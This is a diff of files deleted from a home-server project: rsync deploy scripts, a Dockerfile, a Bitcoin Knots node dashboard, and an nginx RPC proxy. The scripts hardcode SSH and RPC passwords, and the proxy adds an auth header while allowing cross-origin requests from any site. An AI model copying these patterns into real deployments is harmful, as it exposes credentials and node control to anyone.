echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "DOCKER DESKTOP (Manual Step)"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
DOCKER_SIZE=$(du -sk ~/Library/Containers/com.docker.docker 2>/dev/null | cut -f1 || echo "0")
if [ "$DOCKER_SIZE" -gt 1000000 ]; then
DOCKER_GB=$((DOCKER_SIZE / 1024 / 1024))
echo "⚠️ Docker Desktop: ~${DOCKER_GB} GB"
echo " To remove: Open Docker Desktop → Settings → Troubleshoot → Uninstall"
echo " OR run: ./remove-docker.sh"
fi
echo ""
echo "╔════════════════════════════════════════════════════════════════╗"
echo "║ DEEP Cleanup Complete! ║"
echo "╚════════════════════════════════════════════════════════════════╝"
echo ""
SAVED_GB=$((TOTAL_SAVED / 1024 / 1024))
echo "💾 Total space saved: ~${SAVED_GB} GB"
echo ""
echo "✅ What's left (all you need):"
echo " - Source code only (no caches)"
echo " - Latest ISO file"
echo " - Documentation"
echo ""
echo " To restore development dependencies:"
echo " cd neode-ui && npm install"
echo ""
echo "🚀 Your workflow (unchanged):"
echo " ./scripts/deploy-to-target.sh --live"
echo " (builds remotely, no local dependencies needed)"
echo ""

View File

@@ -1,6 +0,0 @@
#!/usr/bin/expect -f
set timeout 60
spawn rsync -avz --delete /Users/dorian/Projects/archy/web/dist/neode-ui/ archipelago@192.168.1.228:/opt/archipelago/web-ui/
expect "password:"
send "archipelago\r"
expect eof

View File

@@ -1,35 +0,0 @@
#!/bin/bash
set -e
REMOTE_SERVER="archipelago@192.168.1.228"
echo "╔════════════════════════════════════════════════════════════════╗"
echo "║ Deploying Indeedhub + Updated Archipelago UI ║"
echo "╚════════════════════════════════════════════════════════════════╝"
echo ""
# Step 1: Deploy Indeedhub container
echo "📦 Step 1: Deploying Indeedhub container..."
cd "/Users/dorian/Projects/Indeedhub Prototype"
./deploy-to-archipelago.sh
# Step 2: Deploy updated frontend
echo ""
echo "📦 Step 2: Deploying updated Archipelago frontend..."
cd /Users/dorian/Projects/archy
echo " Syncing frontend to server..."
rsync -avz --delete \
-e "ssh -o PreferredAuthentications=keyboard-interactive,password" \
web/dist/neode-ui/ "$REMOTE_SERVER:/opt/archipelago/web-ui/"
echo ""
echo "╔════════════════════════════════════════════════════════════════╗"
echo "║ ✅ DEPLOYMENT COMPLETE! ║"
echo "╚════════════════════════════════════════════════════════════════╝"
echo ""
echo "🎬 Indeedhub: http://192.168.1.228:7777"
echo "🏠 Archipelago: https://192.168.1.228"
echo ""
echo " Indeedhub is now visible in the Archipelago app store!"
echo ""

View File

@@ -1,20 +0,0 @@
FROM docker.io/library/nginx:alpine
# Copy the static UI
COPY index.html /usr/share/nginx/html/
COPY tailwind.css /usr/share/nginx/html/
# Create assets directories first
RUN mkdir -p /usr/share/nginx/html/assets/img/app-icons && \
mkdir -p /usr/share/nginx/html/assets/img
# Copy Bitcoin Knots icon and background
COPY bitcoin-knots.webp /usr/share/nginx/html/assets/img/app-icons/
COPY bg-network.jpg /usr/share/nginx/html/assets/img/
# Copy custom Nginx config with Bitcoin RPC proxy
COPY nginx.conf /etc/nginx/conf.d/default.conf
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]

Binary file not shown.

Before

Width:  |  Height:  |  Size: 620 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

View File

@@ -1,818 +0,0 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Expires" content="0">
<title>Bitcoin Knots - Archipelago</title>
<link rel="stylesheet" href="tailwind.css">
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen', 'Ubuntu', sans-serif;
min-height: 100vh;
color: white;
overflow-x: hidden;
}
/* Background - Web5 style */
.bg-perspective-container {
position: fixed;
inset: 0;
z-index: -10;
perspective: 1000px;
perspective-origin: 50% 50%;
overflow: hidden;
}
.bg-layer {
position: absolute;
inset: 0;
background-image: url('assets/img/bg-network.jpg');
background-size: cover;
background-position: center;
background-repeat: no-repeat;
transition: all 0.45s cubic-bezier(0.68, -0.55, 0.265, 1.55);
transform-style: preserve-3d;
opacity: 1;
transform: translateZ(0) scale(1);
}
/* Dark overlay - Web5 style (0.8 opacity) */
.overlay {
position: fixed;
inset: 0;
background: rgba(0, 0, 0, 0.8);
z-index: -5;
pointer-events: none;
}
/* Glass card - Archipelago standard with gradient border */
.glass-card {
position: relative;
background: rgba(0, 0, 0, 0.60);
backdrop-filter: blur(24px);
-webkit-backdrop-filter: blur(24px);
box-shadow:
0 8px 24px rgba(0, 0, 0, 0.45),
inset 0 1px 0 rgba(255, 255, 255, 0.22);
border-radius: 1rem;
overflow-x: hidden;
overflow-y: visible;
border: none;
}
.glass-card::before {
content: '';
position: absolute;
inset: 0;
border-radius: inherit;
padding: 2px;
background: linear-gradient(135deg, rgba(0, 0, 0, 0.8), transparent);
-webkit-mask:
linear-gradient(#fff 0 0) content-box,
linear-gradient(#fff 0 0);
-webkit-mask-composite: xor;
mask-composite: exclude;
pointer-events: none;
z-index: 1;
}
.glass-card > * {
position: relative;
z-index: 2;
}
/* Glass button - Archipelago standard (secondary actions) */
.glass-button {
background-color: rgba(0, 0, 0, 0.6);
backdrop-filter: blur(18px);
-webkit-backdrop-filter: blur(18px);
border: 1px solid rgba(255, 255, 255, 0.18);
color: rgba(255, 255, 255, 0.9);
transition: all 0.3s ease;
}
.glass-button:hover {
color: white;
background-color: rgba(0, 0, 0, 0.7);
}
/* Gradient button - Archipelago standard (primary actions) */
.gradient-button {
background: linear-gradient(135deg, rgba(255, 255, 255, 0.15) 0%, rgba(0, 0, 0, 0.8) 100%);
backdrop-filter: blur(10px);
-webkit-backdrop-filter: blur(10px);
border: 1px solid rgba(255, 255, 255, 0.2);
color: rgba(255, 255, 255, 0.95);
transition: all 0.3s ease;
}
.gradient-button:hover {
background: linear-gradient(135deg, rgba(255, 255, 255, 0.2) 0%, rgba(0, 0, 0, 0.9) 100%);
border-color: rgba(255, 255, 255, 0.3);
box-shadow: 0 8px 24px rgba(0, 0, 0, 0.6);
transform: translateY(-1px);
}
.gradient-button:active {
transform: translateY(1px);
}
/* Interactive card - Archipelago standard (display only, no hover) */
.info-card {
position: relative;
background: rgba(0, 0, 0, 0.60);
backdrop-filter: blur(24px);
-webkit-backdrop-filter: blur(24px);
box-shadow:
0 8px 24px rgba(0, 0, 0, 0.45),
inset 0 1px 0 rgba(255, 255, 255, 0.22);
border-radius: 16px;
padding: 12px;
border: none;
}
.info-card::before {
content: '';
position: absolute;
inset: 0;
border-radius: inherit;
padding: 2px;
background: linear-gradient(135deg, rgba(0, 0, 0, 0.8), transparent);
-webkit-mask:
linear-gradient(#fff 0 0) content-box,
linear-gradient(#fff 0 0);
-webkit-mask-composite: xor;
mask-composite: exclude;
pointer-events: none;
}
/* Interactive button - Same as info-card but with hover effects */
.info-card-button {
position: relative;
background: rgba(0, 0, 0, 0.60);
backdrop-filter: blur(24px);
-webkit-backdrop-filter: blur(24px);
box-shadow:
0 8px 24px rgba(0, 0, 0, 0.45),
inset 0 1px 0 rgba(255, 255, 255, 0.22);
border-radius: 16px;
padding: 12px;
transition: all 0.3s ease;
border: none;
cursor: pointer;
color: rgba(255, 255, 255, 0.9);
}
.info-card-button::before {
content: '';
position: absolute;
inset: 0;
border-radius: inherit;
padding: 2px;
background: linear-gradient(135deg, rgba(0, 0, 0, 0.8), transparent);
-webkit-mask:
linear-gradient(#fff 0 0) content-box,
linear-gradient(#fff 0 0);
-webkit-mask-composite: xor;
mask-composite: exclude;
pointer-events: none;
transition: all 0.3s ease;
}
.info-card-button:hover {
transform: translateY(-2px);
background: rgba(0, 0, 0, 0.35);
box-shadow:
0 12px 32px rgba(0, 0, 0, 0.6),
inset 0 1px 0 rgba(255, 255, 255, 0.25);
color: rgba(255, 255, 255, 1);
}
.info-card-button:hover::before {
background: linear-gradient(135deg, rgba(255, 255, 255, 0.3), transparent);
}
.info-card-button:active {
transform: translateY(1px);
}
/* Container */
.container {
max-width: 1400px;
margin: 0 auto;
padding: 2rem;
padding-bottom: 4rem;
}
/* Logo gradient border */
.logo-gradient-border {
position: relative;
border-radius: 16px;
padding: 3px;
background: linear-gradient(135deg, rgba(255, 255, 255, 0.6) 0%, rgba(0, 0, 0, 0.8) 100%);
box-shadow: 0 8px 24px rgba(0, 0, 0, 0.5);
display: inline-block;
}
.logo-gradient-border::after {
content: '';
position: absolute;
inset: 3px;
border-radius: 13px;
background: #fff;
z-index: 0;
}
.logo-gradient-border img {
border-radius: 13px;
display: block;
position: relative;
z-index: 1;
width: 64px;
height: 64px;
}
/* Ping animation for status dots */
@keyframes ping {
75%, 100% {
transform: scale(2);
opacity: 0;
}
}
.animate-ping {
animation: ping 1s cubic-bezier(0, 0, 0.2, 1) infinite;
}
/* Pulsing glow for progress bar */
@keyframes progressGlow {
0%, 100% {
box-shadow: 0 0 10px rgba(251, 146, 60, 0.5),
0 0 20px rgba(251, 146, 60, 0.3),
0 0 30px rgba(251, 146, 60, 0.1);
}
50% {
box-shadow: 0 0 20px rgba(251, 146, 60, 0.8),
0 0 30px rgba(251, 146, 60, 0.5),
0 0 40px rgba(251, 146, 60, 0.3);
}
}
.progress-glow {
animation: progressGlow 2s ease-in-out infinite;
}
/* Spinning animation */
@keyframes spin {
from {
transform: rotate(0deg);
}
to {
transform: rotate(360deg);
}
}
.animate-spin-slow {
animation: spin 3s linear infinite;
}
/* Shimmer effect */
@keyframes shimmer {
0% {
background-position: -1000px 0;
}
100% {
background-position: 1000px 0;
}
}
.shimmer {
background: linear-gradient(
90deg,
rgba(255, 255, 255, 0) 0%,
rgba(255, 255, 255, 0.1) 50%,
rgba(255, 255, 255, 0) 100%
);
background-size: 1000px 100%;
animation: shimmer 3s infinite;
}
/* Number increment animation */
@keyframes numberPulse {
0%, 100% {
transform: scale(1);
color: rgba(255, 255, 255, 0.9);
}
50% {
transform: scale(1.05);
color: rgba(251, 146, 60, 1);
}
}
.number-update {
animation: numberPulse 0.5s ease-in-out;
}
</style>
</head>
<body>
<div class="bg-perspective-container">
<div class="bg-layer"></div>
</div>
<div class="overlay"></div>
<div class="container">
<!-- Header - Glass card with logo and node info -->
<div class="glass-card p-6 mb-6">
<div class="flex flex-col md:flex-row items-center md:items-center gap-4 md:gap-6">
<!-- Logo - Top Left -->
<div class="flex-shrink-0">
<div class="logo-gradient-border">
<img
src="assets/img/app-icons/bitcoin-knots.webp"
alt="Bitcoin Knots"
class="w-16 h-16"
style="object-fit: contain;"
onerror="this.style.display='none'"
/>
</div>
</div>
<!-- Title and Description -->
<div class="flex-1 min-w-0">
<h1 class="text-3xl font-bold text-white mb-2">Bitcoin Knots</h1>
<p class="text-white/70">Enhanced Bitcoin node implementation</p>
</div>
<!-- Node Status Info - Compact on Desktop -->
<div class="w-full md:w-auto flex flex-col md:flex-row gap-3 md:gap-4 mt-4 md:mt-0">
<div class="info-card flex items-center gap-3">
<div class="relative">
<div class="w-3 h-3 rounded-full bg-green-400"></div>
<div class="absolute inset-0 w-3 h-3 rounded-full bg-green-400 animate-ping opacity-75"></div>
</div>
<div>
<p class="text-xs text-white/60">Status</p>
<p class="text-sm font-medium text-white">Running</p>
</div>
</div>
<div class="info-card flex items-center gap-3">
<svg class="w-5 h-5 text-white/60" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 10V3L4 14h7v7l9-11h-7z" />
</svg>
<div>
<p class="text-xs text-white/60">Version</p>
<p class="text-sm font-medium text-white" id="nodeVersion">Loading...</p>
</div>
</div>
<div class="info-card flex items-center gap-3">
<svg class="w-5 h-5 text-white/60" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 12a9 9 0 01-9 9m9-9a9 9 0 00-9-9m9 9H3m9 9a9 9 0 01-9-9m9 9c1.657 0 3-4.03 3-9s-1.343-9-3-9m0 18c-1.657 0-3-4.03-3-9s1.343-9 3-9m-9 9a9 9 0 019-9" />
</svg>
<div>
<p class="text-xs text-white/60">Network</p>
<p class="text-sm font-medium text-white" id="networkType">Loading...</p>
</div>
</div>
<button
onclick="openSettings()"
class="px-4 py-3 glass-button rounded-lg text-sm font-medium"
>
Settings
</button>
</div>
</div>
</div>
<!-- Blockchain Sync Status Card - NEW -->
<div class="glass-card p-6 mb-6" id="syncStatusCard">
<div class="flex items-start gap-4 mb-4">
<div class="flex-shrink-0 w-12 h-12 rounded-lg bg-orange-500/20 flex items-center justify-center">
<svg class="w-6 h-6 text-orange-500 animate-spin-slow" fill="none" stroke="currentColor" viewBox="0 0 24 24" id="syncIcon">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15" />
</svg>
</div>
<div class="flex-1">
<h2 class="text-xl font-semibold text-white mb-1">Blockchain Sync</h2>
<p class="text-white/70 text-sm" id="syncStatusText">Checking sync status...</p>
</div>
</div>
<!-- Progress Bar -->
<div class="mb-4">
<div class="flex justify-between text-sm text-white/60 mb-2">
<span id="currentBlock">Block 0</span>
<span id="syncPercentage">0%</span>
</div>
<div class="w-full bg-white/10 rounded-full h-3 overflow-hidden relative shimmer">
<div class="h-full bg-gradient-to-r from-orange-500 to-yellow-400 rounded-full transition-all duration-500 progress-glow" id="syncProgressBar" style="width: 0%"></div>
</div>
</div>
<!-- Sync Stats Grid -->
<div class="grid grid-cols-2 md:grid-cols-4 gap-3">
<div class="info-card">
<p class="text-xs text-white/60 mb-1">Current Height</p>
<p class="text-lg font-semibold text-white transition-all" id="currentHeight">-</p>
</div>
<div class="info-card">
<p class="text-xs text-white/60 mb-1">Network Height</p>
<p class="text-lg font-semibold text-white" id="networkHeight">-</p>
</div>
<div class="info-card">
<p class="text-xs text-white/60 mb-1">Headers</p>
<p class="text-lg font-semibold text-white" id="headers">-</p>
</div>
<div class="info-card">
<p class="text-xs text-white/60 mb-1">Verification</p>
<p class="text-lg font-semibold text-white" id="verificationProgress">-</p>
</div>
</div>
</div>
<!-- Core Services Overview Cards - Web5 style -->
<div class="grid grid-cols-1 lg:grid-cols-2 gap-6 mb-8">
<div class="glass-card p-6">
<div class="flex items-start gap-4 mb-4">
<div class="flex-shrink-0 w-12 h-12 rounded-lg bg-white/10 flex items-center justify-center">
<svg class="w-6 h-6 text-white/80" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8.111 16.404a5.5 5.5 0 017.778 0M12 20h.01m-7.08-7.071c3.904-3.905 10.236-3.905 14.141 0M1.394 9.393c5.857-5.857 15.355-5.857 21.213 0" />
</svg>
</div>
<div class="flex-1">
<h2 class="text-xl font-semibold text-white mb-2">RPC Connection</h2>
<p class="text-white/70 text-sm mb-4">JSON-RPC API access</p>
</div>
</div>
<div class="space-y-3">
<div class="flex items-center justify-between p-3 bg-white/5 rounded-lg">
<div class="flex items-center gap-3">
<svg class="w-5 h-5 text-white/60" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
</svg>
<span class="text-white/80 text-sm">RPC Host</span>
</div>
<span class="text-white/60 text-sm font-mono" id="rpcHost">localhost:8332</span>
</div>
<div class="flex items-center justify-between p-3 bg-white/5 rounded-lg">
<div class="flex items-center gap-3">
<svg class="w-5 h-5 text-white/60" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M16 7a4 4 0 11-8 0 4 4 0 018 0zM12 14a7 7 0 00-7 7h14a7 7 0 00-7-7z" />
</svg>
<span class="text-white/80 text-sm">RPC User</span>
</div>
<span class="text-white/60 text-sm font-mono">archipelago</span>
</div>
<div class="flex items-center justify-between p-3 bg-white/5 rounded-lg">
<div class="flex items-center gap-3">
<svg class="w-5 h-5 text-white/60" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z" />
</svg>
<span class="text-white/80 text-sm">RPC Status</span>
</div>
<span class="text-green-400 text-sm font-medium">Connected</span>
</div>
</div>
<button class="mt-4 w-full info-card-button text-sm font-medium" onclick="copyRPCInfo()">
Copy RPC Info
</button>
</div>
<!-- ZMQ Notifications -->
<div class="glass-card p-6">
<div class="flex items-start gap-4 mb-4">
<div class="flex-shrink-0 w-12 h-12 rounded-lg bg-white/10 flex items-center justify-center">
<svg class="w-6 h-6 text-white/80" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 17h5l-1.405-1.405A2.032 2.032 0 0118 14.158V11a6.002 6.002 0 00-4-5.659V5a2 2 0 10-4 0v.341C7.67 6.165 6 8.388 6 11v3.159c0 .538-.214 1.055-.595 1.436L4 17h5m6 0v1a3 3 0 11-6 0v-1m6 0H9" />
</svg>
</div>
<div class="flex-1">
<h2 class="text-xl font-semibold text-white mb-2">ZMQ Notifications</h2>
<p class="text-white/70 text-sm mb-4">Real-time block and transaction updates</p>
</div>
</div>
<div class="space-y-3">
<div class="flex items-center justify-between p-3 bg-white/5 rounded-lg">
<div class="flex items-center gap-3">
<svg class="w-5 h-5 text-white/60" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 20l-5.447-2.724A1 1 0 013 16.382V5.618a1 1 0 011.447-.894L9 7m0 13l6-3m-6 3V7m6 10l4.553 2.276A1 1 0 0021 18.382V7.618a1 1 0 00-.553-.894L15 4m0 13V4m0 0L9 7" />
</svg>
<span class="text-white/80 text-sm">Block Notifications</span>
</div>
<span class="text-white/60 text-sm font-mono">tcp://localhost:28332</span>
</div>
<div class="flex items-center justify-between p-3 bg-white/5 rounded-lg">
<div class="flex items-center gap-3">
<svg class="w-5 h-5 text-white/60" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2" />
</svg>
<span class="text-white/80 text-sm">TX Notifications</span>
</div>
<span class="text-white/60 text-sm font-mono">tcp://localhost:28333</span>
</div>
<div class="flex items-center justify-between p-3 bg-white/5 rounded-lg">
<div class="flex items-center gap-3">
<svg class="w-5 h-5 text-white/60" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z" />
</svg>
<span class="text-white/80 text-sm">ZMQ Status</span>
</div>
<span class="text-green-400 text-sm font-medium">Active</span>
</div>
</div>
<button class="mt-4 w-full info-card-button text-sm font-medium" onclick="openLogs()">
View Logs
</button>
</div>
</div>
</div>
<!-- Settings Modal -->
<div class="modal hidden fixed inset-0 bg-black/80 backdrop-blur-sm z-50 items-center justify-center p-4" id="settingsModal">
<div class="glass-card p-6 max-w-2xl w-full max-h-[80vh] overflow-y-auto">
<div class="flex justify-between items-center mb-4">
<h2 class="text-2xl font-bold text-white">Node Settings</h2>
<button onclick="closeSettings()" class="glass-button px-3 py-2 rounded-lg text-xl font-medium">×</button>
</div>
<div class="space-y-3">
<div class="p-3 bg-white/5 rounded-lg">
<div class="font-semibold text-white mb-1">Network Mode</div>
<div class="text-white/70 text-sm">Regtest (Development)</div>
</div>
<div class="p-3 bg-white/5 rounded-lg">
<div class="font-semibold text-white mb-1">Transaction Index</div>
<div class="text-white/70 text-sm">Enabled (txindex=1)</div>
</div>
<div class="p-3 bg-white/5 rounded-lg">
<div class="font-semibold text-white mb-1">ZMQ Publishing</div>
<div class="text-white/70 text-sm">Block & TX notifications enabled</div>
</div>
<div class="p-3 bg-white/5 rounded-lg">
<div class="font-semibold text-white mb-1">RPC Access</div>
<div class="text-white/70 text-sm">Enabled on 0.0.0.0:18443</div>
</div>
</div>
</div>
</div>
<!-- Logs Modal -->
<div class="modal hidden fixed inset-0 bg-black/80 backdrop-blur-sm z-50 items-center justify-center p-4" id="logsModal">
<div class="glass-card p-6 max-w-4xl w-full max-h-[80vh] overflow-y-auto">
<div class="flex justify-between items-center mb-4">
<h2 class="text-2xl font-bold text-white">Node Logs</h2>
<button onclick="closeLogs()" class="glass-button px-3 py-2 rounded-lg text-xl font-medium">×</button>
</div>
<div class="bg-black/40 rounded-lg p-4 font-mono text-xs text-white/80 whitespace-pre-wrap break-all" id="logsContent">
Loading logs...
</div>
</div>
</div>
<script>
console.log('[Bitcoin UI] Script loaded, initializing...');
// RPC Configuration - Use local Nginx proxy within container
const RPC_ENDPOINT = 'bitcoin-rpc/';
console.log('[Bitcoin UI] RPC Endpoint:', RPC_ENDPOINT);
// Make RPC call to Bitcoin node via local proxy
async function callRPC(method, params = []) {
try {
console.log(`[Bitcoin UI] Calling RPC method: ${method}`);
const response = await fetch(RPC_ENDPOINT, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
jsonrpc: '1.0',
id: 'bitcoin-ui',
method: method,
params: params
})
});
console.log(`[Bitcoin UI] RPC response status: ${response.status}`);
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
const data = await response.json();
console.log(`[Bitcoin UI] RPC ${method} success:`, data.result ? 'OK' : 'Error');
if (data.error) {
throw new Error(data.error.message);
}
return data.result;
} catch (error) {
console.error(`[Bitcoin UI] RPC call failed: ${method}`, error);
return null;
}
}
// Track last block count for animations
let lastBlockCount = 0;
// Update blockchain info
async function updateBlockchainInfo() {
console.log('[Bitcoin UI] updateBlockchainInfo() called');
try {
const blockchainInfo = await callRPC('getblockchaininfo');
console.log('[Bitcoin UI] blockchainInfo:', blockchainInfo);
if (!blockchainInfo) {
console.error('[Bitcoin UI] No blockchain info received');
document.getElementById('syncStatusText').textContent = 'Unable to connect to Bitcoin node';
document.getElementById('syncStatusText').className = 'text-red-400 text-sm';
return;
}
const networkInfo = await callRPC('getnetworkinfo');
// Update network mode
const chain = blockchainInfo.chain || 'unknown';
const networkType = document.getElementById('networkType');
let networkShort = '';
if (chain === 'regtest') {
networkShort = 'Regtest';
} else if (chain === 'test') {
networkShort = 'Testnet';
} else if (chain === 'main') {
networkShort = 'Mainnet';
} else {
networkShort = chain;
}
if (networkType) networkType.textContent = networkShort;
// Update sync status
const blocks = blockchainInfo.blocks || 0;
const headers = blockchainInfo.headers || 0;
const verificationProgress = blockchainInfo.verificationprogress || 0;
const isSynced = blocks >= headers - 1;
// Calculate actual sync percentage based on blocks/headers
const actualSyncPercentage = headers > 0 ? ((blocks / headers) * 100).toFixed(2) : '0.00';
const verificationPercentage = (verificationProgress * 100).toFixed(2);
// Animate block count if it changed
const currentHeightElem = document.getElementById('currentHeight');
if (blocks !== lastBlockCount && lastBlockCount > 0) {
currentHeightElem.classList.add('number-update');
setTimeout(() => currentHeightElem.classList.remove('number-update'), 500);
}
lastBlockCount = blocks;
currentHeightElem.textContent = blocks.toLocaleString();
document.getElementById('networkHeight').textContent = headers.toLocaleString();
document.getElementById('headers').textContent = headers.toLocaleString();
document.getElementById('verificationProgress').textContent = `${verificationPercentage}%`;
document.getElementById('syncPercentage').textContent = `${actualSyncPercentage}%`;
document.getElementById('currentBlock').textContent = `Block ${blocks.toLocaleString()}`;
document.getElementById('syncProgressBar').style.width = `${actualSyncPercentage}%`;
// Update sync status text and icon
const syncStatusText = document.getElementById('syncStatusText');
const syncIcon = document.getElementById('syncIcon');
if (isSynced) {
syncStatusText.textContent = '✓ Fully synchronized with the network';
syncStatusText.className = 'text-green-400 text-sm font-medium';
// Stop spinning when synced
if (syncIcon) {
syncIcon.classList.remove('animate-spin-slow');
syncIcon.classList.add('text-green-500');
}
} else {
const remaining = headers - blocks;
syncStatusText.textContent = `Syncing... ${remaining.toLocaleString()} blocks remaining`;
syncStatusText.className = 'text-orange-400 text-sm font-medium';
// Keep spinning while syncing
if (syncIcon) {
syncIcon.classList.add('animate-spin-slow');
syncIcon.classList.remove('text-green-500');
}
}
// Update block height in quick actions (removed section)
// document.getElementById('blockHeight').textContent = blocks.toLocaleString();
// Update version
if (networkInfo && networkInfo.version) {
const version = networkInfo.version;
const versionStr = `v${Math.floor(version / 10000)}.${Math.floor((version % 10000) / 100)}.${version % 100}`;
const versionElem = document.getElementById('nodeVersion');
if (versionElem) versionElem.textContent = versionStr;
}
} catch (error) {
console.error('Failed to update blockchain info:', error);
document.getElementById('syncStatusText').textContent = 'Unable to fetch blockchain data';
document.getElementById('syncStatusText').className = 'text-red-400 text-sm';
}
}
// Initial update
console.log('[Bitcoin UI] Starting initial blockchain info update...');
updateBlockchainInfo();
// Update every 5 seconds
console.log('[Bitcoin UI] Setting up 5-second update interval');
setInterval(updateBlockchainInfo, 5000);
function copyRPCInfo() {
const info = `RPC Host: ${window.location.hostname}:8332\nRPC User: archipelago\nRPC Password: archipelago123\nRPC Endpoint: ${RPC_ENDPOINT}`;
navigator.clipboard.writeText(info).then(() => {
alert('RPC info copied to clipboard!');
});
}
function openSettings() {
document.getElementById('settingsModal').classList.remove('hidden');
document.getElementById('settingsModal').classList.add('flex');
}
function closeSettings() {
document.getElementById('settingsModal').classList.add('hidden');
document.getElementById('settingsModal').classList.remove('flex');
}
function openLogs() {
document.getElementById('logsModal').classList.remove('hidden');
document.getElementById('logsModal').classList.add('flex');
loadLogs();
}
function closeLogs() {
document.getElementById('logsModal').classList.add('hidden');
document.getElementById('logsModal').classList.remove('flex');
}
async function loadLogs() {
const logsContent = document.getElementById('logsContent');
logsContent.textContent = 'Loading logs from node...';
try {
const networkInfo = await callRPC('getnetworkinfo');
const blockchainInfo = await callRPC('getblockchaininfo');
const peerInfo = await callRPC('getpeerinfo');
if (networkInfo && blockchainInfo) {
logsContent.textContent = `Bitcoin Knots version ${networkInfo.subversion || 'unknown'}
Network: ${blockchainInfo.chain}
Blocks: ${blockchainInfo.blocks}
Headers: ${blockchainInfo.headers}
Verification Progress: ${(blockchainInfo.verificationprogress * 100).toFixed(2)}%
Connected Peers: ${peerInfo ? peerInfo.length : 0}
Difficulty: ${blockchainInfo.difficulty}
Chain Work: ${blockchainInfo.chainwork || 'N/A'}
Node is running and accepting connections.
RPC server active on port 8332`;
} else {
logsContent.textContent = 'Unable to fetch node logs. Please check your RPC connection.';
}
} catch (error) {
logsContent.textContent = `Error loading logs: ${error.message}`;
}
}
document.addEventListener('keydown', (e) => {
if (e.key === 'Escape') {
closeSettings();
closeLogs();
}
});
document.querySelectorAll('.modal').forEach(modal => {
modal.addEventListener('click', (e) => {
if (e.target === modal) {
closeSettings();
closeLogs();
}
});
});
</script>
</body>
</html>

View File

@@ -1,28 +0,0 @@
server {
listen 8334;
server_name _;
root /usr/share/nginx/html;
index index.html;
# Bitcoin RPC proxy to avoid CORS issues
location /bitcoin-rpc/ {
# Proxy to localhost Bitcoin RPC (using host network mode)
proxy_pass http://127.0.0.1:8332/;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Authorization "Basic __BITCOIN_RPC_AUTH__";
add_header Access-Control-Allow-Origin *;
add_header Access-Control-Allow-Methods "POST, GET, OPTIONS";
add_header Access-Control-Allow-Headers "Content-Type, Authorization";
if ($request_method = OPTIONS) {
return 204;
}
}
location / {
try_files $uri $uri/ /index.html;
}
}

View File

@@ -1,210 +0,0 @@
/* Tailwind CSS utilities — manually extracted for bitcoin-ui */
/* Replaces cdn.tailwindcss.com to comply with CSP script-src 'self' */
*, ::before, ::after {
box-sizing: border-box;
border-width: 0;
border-style: solid;
border-color: currentColor;
}
img, svg { display: block; vertical-align: middle; max-width: 100%; height: auto; }
button { cursor: pointer; background-color: transparent; font-family: inherit; font-size: 100%; line-height: inherit; color: inherit; margin: 0; padding: 0; }
h1, h2 { font-size: inherit; font-weight: inherit; }
/* Position */
.relative { position: relative; }
.absolute { position: absolute; }
.fixed { position: fixed; }
.inset-0 { inset: 0; }
/* Display */
.hidden { display: none; }
.flex { display: flex; }
.grid { display: grid; }
/* Flex */
.flex-col { flex-direction: column; }
.flex-row { flex-direction: row; }
.flex-1 { flex: 1 1 0%; }
.flex-shrink-0 { flex-shrink: 0; }
.items-center { align-items: center; }
.items-start { align-items: flex-start; }
.justify-between { justify-content: space-between; }
